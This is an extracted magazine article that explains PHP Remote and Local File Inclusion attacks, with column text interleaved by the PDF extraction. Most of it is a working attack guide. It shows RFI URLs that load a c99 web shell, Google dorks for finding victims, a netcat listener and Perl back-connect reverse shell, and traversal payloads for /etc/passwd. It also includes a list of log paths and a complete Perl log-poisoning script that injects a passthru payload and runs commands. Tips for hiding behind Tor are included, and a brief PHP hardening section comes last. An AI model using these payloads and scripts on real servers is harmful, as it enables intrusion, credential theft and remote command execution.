Remote and Local File Inclusion Explained

Download as pdf or txt
Download as pdf or txt
You are on page 1of 6

Remote and Local File

Inclusion Explained
Attack

Gordon Johnson

Difficulty

I have always found RFI and LFI to be one of the most interesting
concepts in terms of web exploitation. Although it may normally
be interpreted as the most common, script kiddie-esque form of
exploitation, I find this to be false. When the term script kiddie
is used, most people generally think along the lines of point and
click exploitation.

I
n RFI and LFI there are more levels and written. RFI exploits the include command
dynamics than what meets the eye. Bear to run your script, remotely within the given site.
in mind, I hold absolutely no responsibil- If we can manipulate the $base _ path variable
ity whatsoever for someone's so-called moral to equal our own script/public directory, then
actions or lack thereof. And of course, the old it will run as if it was a normal file on the web
perform at your own risk also comes to mind; server itself.
revel in the hackneyed glory. Given a website that uses the very basic
include command given above, making it vulner-
RFI able to this exploit, and knowing what the given
Let us proceed to business. RFI stands for Re- variable is by viewing the code in index.php (http:
mote File Inclusion. The main idea behind it is //lameserver-example.com/index.php) we can
that the given code inserts any given address,
albeit local or public, into the supplied include
command. The way it works is that when a web- What you will learn...
site is written in PHP, there is sometimes a bit
• What Remote and Local File Inclusion are
of inclusion text that directs the given page to
• What makes them tick, how to execute them
another page, file or what you have. Below is an
• How to defend against them by taking proper
example of the code: PHP coding methods

include($base_path . "/page1.php");
What you should know...
The include statement above uses the page1. • General understanding of perl and PHP
php as its file to load. For example, if the user • Basic idea of how an operating system func-
was to browse to the bottom of the page and tions
click Next, he will execute the code that trig- • Large vernacular in terms of commonly used
gers the next page to load. In this case, it could UNIX commands, and a large heaping of logic.
be page2.php depending on how the code is

42 hakin9 1/2008 www.hakin9.org/en


RFI, LFI

string of text is being executed with-


Note for Clarification in. Now let us try out an example of
There are two assumptions being made; one of which is that you understand that this in the real world (ahem, ethereal
nc.exe is a Windows executable file being executed on your assumed operating sys- world, rather).
tem of choice, and secondly, you would use an alternative to this application to work The majority of people who do
properly if using another OS. not feel like doing the work to find
exploits, normally search in large da-
tabases, such as milw0rm for a public
edit the given variable by placing a are on the supplied exploited server, exploit, then apply it in the manner
? at the end of the selected file, and and the ability to manipulate them at given. Other people either use scan-
defining the variable from there. We will. First off, you need to find a shell ners, or Google dorks. The more
can redefine the variable at this point that can perform the dirty deed. Use technically savvy tend to develop their
to some other server's text file else- Google to search for inurl:c99.txt. own exploits after studying the script
where that contains PHP. Please, note Download it and upload elsewhere to for holes, and either keep it as their
that the following situation will be more be used as a text document (*.txt). Let own exploit, or submit as the 0day.
geared towards executing a shell with- us see what the command will look A Google dork is the act of harness-
in the provided web server. You may like once executed within our brows- ing Google's provided tools/phrases
ask: Why only .txt? Since this remote er: http://lameserver-example.com/ to help filter out what you are brows-
inclusion will use the file as if it was index.php?base_path=http://another ing for. The most success I have had
its own within the server, it is going to server.com/c99.txt?ls when searching for a particularly
treat it as if it was a non-parsed PHP The only code that changed was vulnerable page has been with the
file that needs parsing! Thus, if you that we placed our directory and search method of:
were to take the given text within the filename for the shell that needed
text file and parsed it as PHP, it would to be parsed. If all went well, we will "allinurl:postscript.php?p_mode="
eventually execute the remotely sup- now have our shell looking inside
plied code. Take this as an example: the web server, and will have the Once my target has been found, I try
http://lameserver-example.com/ ability to manipulate our index.php my code found within the milw0rm
index.php?base_path=http://another to anything we please. The extra bit database. All you need to do now
server.com/test.txt?cmd_here of code at the end of the question is to find what inclusion variable is in
This is an explanation: lame- mark executes the bash command use and add a ? after the index.php
server-example.com is the base tar- called ls, which displays all the files along with the command and the
geted URL, index.php is the file that within the current directory that the file of ours, conveniently located
is being exploited, ? is to allow us to
tweak the so called blind file to make
base _ path (the variable) to equal
another file elsewhere. The text.txt
will be parsed with the command af-
ter the ?. So far, we have our target
and we know that it will display the
text in a parsed manner. We can see
how valuable this concept really is.
You will most likely wish to view and
manipulate the files within the server,
possibly even tweak them a bit for the Figure 1. RFI search
administrator. Thankfully, someone
has already done all of this work for
us – there is a shell called c99.txt.
Certainly, there are many shells avail-
able that are written for situations
such as these; one other common
shell is r57.txt. However, c99.txt is
a web-GUI command prompt based
shell that has the ability to execute
most commands that you would usu-
ally execute within a bash shell, such
as ls, cd, mkdir, etc. Most importantly,
it gives you the ability to see what files Figure 2. RFI found

www.hakin9.org/en hakin9 1/2008 43


Attack

elsewhere. Before I go any further, of the tutorial. This will enable us to time, you may execute commands,
go grab the tor, Vidalia, Privoxy, and harness the back-connect script, and and attempt to gain root by using
TorButton bundle, and install it. Prox- connect to it directory, thus giving us various methods. I suggest you type id
ies are your friend, remember that. full access to the server. After getting first, find out a bit of information about
But yet again, I only condone this if nc.exe, the command to be executed what server you are dealing with. From
you own the server, or have exclu- is nc -l -n -v -p 8080 that point, after finding out what kernel
sively been given the right to do so Let us quickly go through what it is, finding exploits for that given ker-
(see Figures 1, 2, 3). each command represents after “nc” nel would be necessary to gain root.
Now of course I did not touch this so it is understood what is occurring However, this is another topic for later.
site of mine at all, and I hid the URL, on your machine: -l, -v, -p = listen Let us try not to stray too far away from
etc. for very good reason. The pic- to all incoming connections on the RFI and LFI.
tures are pretty much self-explana- specified port (whatever comes after As you can see, you can dramati-
tory of what you are capable of doing -p). -n specifies that it must be a nu- cally expound upon each method.
on here. meric address only, no DNS (mean-
Lovely! Now when we have an ing IP address only). LFI
access, we can gain a shell back to Proceed back to the RFI exploited LFI is a Local File Inclusion. This is
the server itself with a back connect web page and look for the area where when you find a particular file within
method. Here is what makes RFI it states: Local command. Within the a database and uses it against the
rather interesting: the ability to exploit supplied text field, you would need web server. Such as discovering
it even further. All that needs to be to type the following command: perl the faithful /etc/passwd/ username/
done at this point would be to find back.pl <your _ public _ ip _ address _ password file, cracking the MD5
a directory that enables you to upload here> 8080. This will allow the perl bina- hash, (the format for encryption is
any file you choose. In this case, we ry to execute the code you had recently {CRYPT}$1$salt$encrypted _ pass) and
will upload a Perl script to a RW direc- uploaded. The script will run, and give then logging in via ssh. The method
tory. Though I will not provide a back- you access to the server remotely. If is pretty much same as above, just
connect script, you should have no you glance back at your netcat com- a matter of finding the exploitable
problem finding it, installing Perl, mand that was executed earlier, you site. All same ideas here, except we
etc. From this point, the well-known will notice that you have connected are now applying a different address
netcat program becomes a large part to the targeted server. At this point in within the inclusion, the file located
by default on the server. One exam-
Listing 1. Default Log Locations ple on how to find these particular
sites would be to look either for an
../apache/logs/error.log exploit on milw0rm, or do a Google
../apache/logs/access.log
search for:
../../apache/logs/error.log
../../apache/logs/access.log
../../../apache/logs/error.log inurl:home.php?pg=
../../../apache/logs/access.log
../../../../../../../etc/httpd/logs/acces_log or
../../../../../../../etc/httpd/logs/acces.log
../../../../../../../etc/httpd/logs/error_log
inurl:index.php?pg=
../../../../../../../etc/httpd/logs/error.log
../../../../../../../var/www/logs/access_log
../../../../../../../var/www/logs/access.log They are pretty easy to find, it took
../../../../../../../usr/local/apache/logs/access_log me roughly 40 seconds to find it (see
../../../../../../../usr/local/apache/logs/access.log
Figure 4).
../../../../../../../var/log/apache/access_log
../../../../../../../var/log/apache2/access_log
All I had to do was to add: ../
../../../../../../../var/log/apache/access.log ../../../../../../../../../../../../
../../../../../../../var/log/apache2/access.log etc/passwd after the code stating:
../../../../../../../var/log/access_log home.php?pg=
../../../../../../../var/log/access.log
How much easier could it get?
../../../../../../../var/www/logs/error_log
../../../../../../../var/www/logs/error.log
Now that we have all of this informa-
../../../../../../../usr/local/apache/logs/error_log tion in front of us, let us interpret what
../../../../../../../usr/local/apache/logs/error.log it means, and how we may use it to
../../../../../../../var/log/apache/error_log our advantage. The syntax of the text
../../../../../../../var/log/apache2/error_log
in front of you is username:passwd:
../../../../../../../var/log/apache2/error.log
UID:GID:full _ name:directory:shell
../../../../../../../var/log/error_log
../../../../../../../var/log/error.log However, it appears in our case
that the password is hidden aka

44 hakin9 1/2008 www.hakin9.org/en


RFI, LFI

shadowed. This means that it has and we will make reference to the use Header Spy to help us figure out
been replaced with an x, and is now lengthy list: Listing 1. what might the default directory for
located within /etc/shadow. We will Normally, just as before, you would logs may be. For example, you may
not be able to access this, since it apply each directory string after the = notice that it is using Apache 2.0.40
may only be accessed by root. No and see where it takes you. If success- with a Red Hat OS. Simply do a bit of
problem, this is just to get our feet ful, you should see a page that displays Googling to find out what the default
wet. Whenever you see an x as op- some sort of log for the moment it is directory for logs is, and low and be-
posed to a garbled password, it is executed. If it fails, you will be redirect- hold, in this case it is /../../../../../../
located in the /etc/shadow, and if ed to either a Page cannot be found, etc/httpd/logs/acces _ log. Now when
you see a !, it means that it is located or redirected to the main page. To we have the proper directory, we may
within /etc/security/passwd. On the make this process slightly less painful/ exploit it (inject code). With this log file
other hand, let us just say you found daunting, it is very useful to have a in hand, we can now attempt to inject a
a good file without anything being plug-in for Firefox entitled: Header command within the browser, such as
shadowed. All you need to do now Spy. It will tell you everything you need <? passthru(\$ _ GET[cmd]) ?> (please,
is decrypt it. You may also wish to to know about the web server, such as keep in mind that this is merely an
peruse around in other directories, the Operating System it is running, and example of what the vulnerable code
such as: what version of Apache the server is we are exploiting may be, and would
running. If you were to stumble upon a need to be changed accordingly).
/etc/passwd vulnerable box that does not properly This may be injected at the end of the
/etc/shadow pass through text, and displays a list address, but will most likely not work
/etc/group of shadowed passwords, we can now since your web browser interprets
/etc/security/group
/etc/security/passwd Listing 2. Log Injection Script
/etc/security/user #!/usr/bin/perl -w
/etc/security/environ use IO::Socket;
/etc/security/limits use LWP::UserAgent;
$site="www.vulnerablesite.com";
/usr/lib/security/mkuser.default
$path="/";
$code="<? passthru(\$_GET[cmd]) ?>";
Every now and again, though, the $log = "../../../../../../../etc/httpd/logs/error_log";
website may output that /etc/passwd/
cannot be found simply because the print "Trying to inject the code";
$socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$site",
server is interpreting the location as if
PeerPort=>"80") or die "\nConnection Failed.\n\n";
it is /etc/passwd.php/. To correct this, print $socket "GET ".$path.$code." HTTP/1.1\r\n";
we need to apply what is called a Null print $socket "User-Agent: ".$code."\r\n";
Byte. This bit of code looks like: %00. print $socket "Host: ".$site."\r\n";
In SQL, it means 0, but everywhere print $socket "Connection: close\r\n\r\n";
close($socket);
else in coding, it is interpreted similar
print "\nCode $code successfully injected in $log \n";
to a black hole, such as /dev/null/.
This code eliminates the use of an print "\nType command to run or exit to end: ";
extension. The code would appear $cmd = <STDIN>;
as /etc/passwd%00 when entered into
while($cmd !~ "exit") {
the address bar.
But there is no reason to be $socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$site",
discouraged when seeing a shad- PeerPort=>"80") or die "\nConnection Failed.\n\n";
owed list of passwords; you should print $socket "GET ".$path."index.php?filename=".$log."&cmd=$cmd HTTP/
be thrilled to have even discovered 1.1\r\n";
print $socket "Host: ".$site."\r\n";
a vulnerability. At this point in time,
print $socket "Accept: */*\r\n";
we know two things: one – that noth- print $socket "Connection: close\r\n\n";
ing is properly passed through with-
out being sanitized by PHP, and two while ($show = <$socket>)
– we now know that we have the abil- {
print $show;
ity to look for logs to inject. Normally,
}
LFI tutorials stop a few lines above
here, but we shall go a bit more in print "Type command to run or exit to end: ";
depth. There are many common de- $cmd = <STDIN>;
fault directories/*.log locations for }

mainly Apache-based web servers,

www.hakin9.org/en hakin9 1/2008 45


Attack

symbols in a different fashion, such


as a space is %20, %3C is <, and so on. Side Note
Most likely, if you were to reexamine Further explanation in regards to the passwd file. The /etc/passwd file contains basic
the code after injection, it would ap- user attributes. This is an ASCII file that contains an entry for each user. Each entry
pear as %3C?%20passthru(\$ _ GET[cmd] defines the basic attributes applied to a user. (http://www.unet.univie.ac.at/aix/files/
)%20?%3E. But the whole point of the aixfiles/passwd_etc.htm, 2001)
code (when broken up) was to gain
(GET) a command prompt, cmd. Since
browsers are not typically the best glance over the code in bold. Each the exploited *.php. $log is the directory
way to do this, our handy perl script $variable you see is what needs to you had applied earlier that brought up
will execute this in the correct manner be user-defined, depending on your a proper log file. Now the final part to
desired. Directions: acquire the perl situation. The first variable is $site, edit would be the GET command, and
libraries, install, whatever needs to be which needs to be defined as your defining a slight variance of .$path.
done so the computer has the ability root vulnerable site without any trailing which in our case is what follows the
to properly compile the scripts. Create directories. $path is everything that original $path, and right before our
a new text document, and insert the comes after the domain, if your vul- $log variable. In this case, we define
code in Listing 2. nerable path was /vulnerable _ path/ the vulnerable *.php, the command
Now, I will not go into how a perl another _ folder/, this would go here. that proceeds (?filename= ). When put
script works, coding horrors, etc. But if the site is vulnerablesite.com/ all together, it would look just like your
However, if you have any experience index.php?filename=../../../dir/dir2/, original exploited URL placed within
in C, or any other classic language, then the $path variable would be a your browser. Quite painless, consid-
you will have no trouble discern- simple trailing /. $code would be what ering the fact that very little effort is
ing the code. But for time's sake, bit of code was found vulnerable within being placed into action, and all the
hard work in the template has already
been crafted. After saving this as a
*.pl, execute it within your command
prompt or bash shell.. If everything
works accordingly, two statements will
be made while one – expressing that
it was successfully executed, and two
– you are given the option to execute
commands. Might I suggest the clas-
sic whoami command. Much may be
explored from here, and so we have
reverted and made a full circle back to
the ending of the RFI tutorial.

PHP Hardening
Both methods are very useful when
testing your PHP and Perl skills,
and also very powerful when placed
into the wrong hands. That is why
Figure 3. RFI it is always good to practice proper
sanitation when coding, and to never
take any shortcuts simply because
it's there.
Conceivably the most important
part of the article is to give a few hints
about how to avoid such dilemmas.
Simply put, the include command is
not bad nor evil, but mistreated by
people who do not know what they
are doing, and commonly use it as
a form of laziness when coding. An
alternative to properly sanitizing
your code would be to disable a few
Figure 4. LFI example options within your PHP.ini. Choose

46 hakin9 1/2008 www.hakin9.org/en


RFI, LFI

To bypass this, we could simply edit


On the 'Net the httpd.conf on our end of the server
so that PHP is no longer the script han-
• http://www..php.net/include/ dler, restart httpd, and we are done.
• http://www.w3schools.com/php/php_includes.asp
To avoid this last method of inclu-
• http://www.perlfect.com/articles/sockets.shtml
sion, it is best to hard code everything.
• http://en.wikipedia.org/wiki/MD5
You should define each allowed page
• http://www.unet.univie.ac.at/aix/files/aixfiles/passwd_etc.htm
• http://www.google.com/help/operators.html rather than gleefully accepting all pag-
• http://netcat.sourceforge.net/ es regardless of the extension or filena-
• http://www.linux.org/docs/ldp/howto/Shadow-Password-HOWTO-2.html me. Also, be sure to force disregard for
any non-alphanumeric character, this
will certainly save much time/tears
when securing your PHP-based web-
About the Author site. Getting back to LFI, some simple
Gordon Johnson, originally hailing from Connecticut, is a Sophomore at Indiana Uni-
logic may be applied in this situation.
versity, and has had an interest in network security for quite some time. He has dabbled
in most forms of computing, albeit 3d graphics interior design, programming, network Considering that, now we understand
auditing, web design, hardware modification/development, and running various game/ that ../../../ may be interpreted as
web/IRC servers. a non-alphanumeric set of characters
(but let us just say we accept it any-
way), you may think out of the box and
to disable register _ globals and //test_site.com. The original link will believe that we are not solely restricted
allow _ url _ fopen and this will greatly appear as such: http://test_site.com/ to using only the classic /etc/passwd
limit your chances of being attacked index.php?page=home. Home is the file locations: What about all the other
by the prior mentioned methods. Now main page for the site. To attempt to files within the server? The question
this is not the end-all be-all security manipulate the include function: http:// at hand is: What are the most com-
sanitizer, but causes quite a disgrun- test_site.com/index.php?page=http:// mon files that contain the most valu-
tled effect on the attackers end. After www.vicious_site.com/evil.txt able information in plain text? Some of
all, a security specialist understands In the end, you will wind up with these files are config.php, install.php,
that there is no such thing as security several warnings that notify the user configuration.php, .htaccess, admin.php,
- everything is merely a deterrent. that there was a problem on a specific sql.php setup.php. Consider the fol-
Let us glance over a few more ex- line, and spits out the working local lowing formula, if you figure out what
amples in terms of hardening the PHP directory (a mere annoyance, but pre-scripted script is in use, perform
code. For example, making reference much more appealing than to have an a bit of research about what the default
back to RFI includes, take this code: actual RFI exploit to take place on the filenames indeed are, location, include
web server). An example of what one variables, etc., and the LFI exploit is
include $_GET[page]; of the several lines may output as: available. With this recipe, you could go
directly to the config.php file, and read it
Not very decent coding there, consid- Warning: main(http://vicious_site.com/ in plain text. But of course, there will be
ering the fact that any given page with evil.txt.php): failed to open stream: a bit of tweaking involved, such as ap-
any given extension may be directly HTTP request failed! HTTP/1.1 404 plying the null byte learned earlier (%00)
included within the GET command, Not Found in /htdocs/test_site/ to eliminate interpretation of a different
replacing page. But what if we were index.php on line 2 extension. This is yet another good
to be a tad bit more specific with our reason why you should code your own
GET request, and eliminate all other Now at the same time, this does not material, and not use anything default
given extensions? Such as (since we mean that we cannot execute PHP and put faith in some random coder,
are only coding in PHP) why not make code remotely, such as a simple or company to write what you need.
the included files only *.php? The fol- phpinfo();. Same thing would occur These are just a few simple thoughts
lowing code would appear as such: again, minus the errors, and replacing that may appear to be obvious at first,
the evil.txt with whatever PHP file but will eliminate much hassle.
include "$_GET[page].php"; you have created with the phpinfo(); With any luck you, the reader,
code. Now, the code has been ex- may have a better understanding
All we had to do was specify a par- ecuted completely, but it can only pull about how closely browsers cooper-
ticular extension after the given vari- info from our server. Considering the ate almost directly with an operating
able (page) to imply that we only want fact that the way it works is by virtue system, along with many other new
*.php extension pages. Now to test of pulling everything locally on the ideas about how PHP and web serv-
the altered code, let us assume that vicious _ site.com's domain, and re- ers work, etc. May the wind be at
it is within index.php, on domain http: directs the output onto test _ site.com. your back, and happy coding! l

www.hakin9.org/en hakin9 1/2008 47

You might also like